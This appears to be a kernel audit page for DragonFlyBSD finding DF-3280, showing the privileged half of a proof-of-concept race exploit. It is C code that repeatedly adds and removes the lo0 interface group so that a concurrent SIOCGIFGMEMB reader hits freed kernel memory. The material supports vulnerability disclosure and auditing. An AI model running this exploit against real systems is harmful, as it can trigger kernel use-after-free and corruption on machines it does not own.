⬢ DragonFlyBSD Kernel Audit
DF-3280 / gmembr_churn.c
← back to finding ↓ download raw
/*
 * DF-3280 PoC - privileged side (group churn).
 *
 * Loop SIOCAIFGROUP/SIOCDIFGROUP of "lo0" into group "rgrpA".
 * Every SIOCDIFGROUP that removes the last member destroys the group
 * (if_destroygroup -> kfree(ifg)) -- colliding with the unprivileged
 * reader's in-flight SIOCGIFGMEMB between its two ifgroup_lock
 * critical sections.
 */
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define GRP_DEFAULT "rgrpA"
#define IFP_DEFAULT "lo0"

int main(int argc, char *argv[])
{
	const char *GRP = argc > 1 ? argv[1] : GRP_DEFAULT;
	const char *IFP = argc > 2 ? argv[2] : IFP_DEFAULT;
	struct ifgroupreq ifgr;
	int s, r;
	unsigned long adds = 0, dels = 0, err = 0;
	time_t t0 = time(NULL), tl = t0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }

	for (;;) {
		memset(&ifgr, 0, sizeof(ifgr));
		strlcpy(ifgr.ifgr_name, IFP, sizeof(ifgr.ifgr_name));
		strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group));
		r = ioctl(s, SIOCAIFGROUP, &ifgr);
		if (r == 0) adds++;

		memset(&ifgr, 0, sizeof(ifgr));
		strlcpy(ifgr.ifgr_name, IFP, sizeof(ifgr.ifgr_name));
		strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group));
		r = ioctl(s, SIOCDIFGROUP, &ifgr);
		if (r == 0) dels++;
		else if (errno != ENOENT) err++;

		if (time(NULL) - tl >= 10) {
			tl = time(NULL);
			printf("[churn ] adds=%lu dels=%lu err=%lu (t=%ld)\n",
			       adds, dels, err, time(NULL) - t0);
			fflush(stdout);
		}
	}
	return 0;
}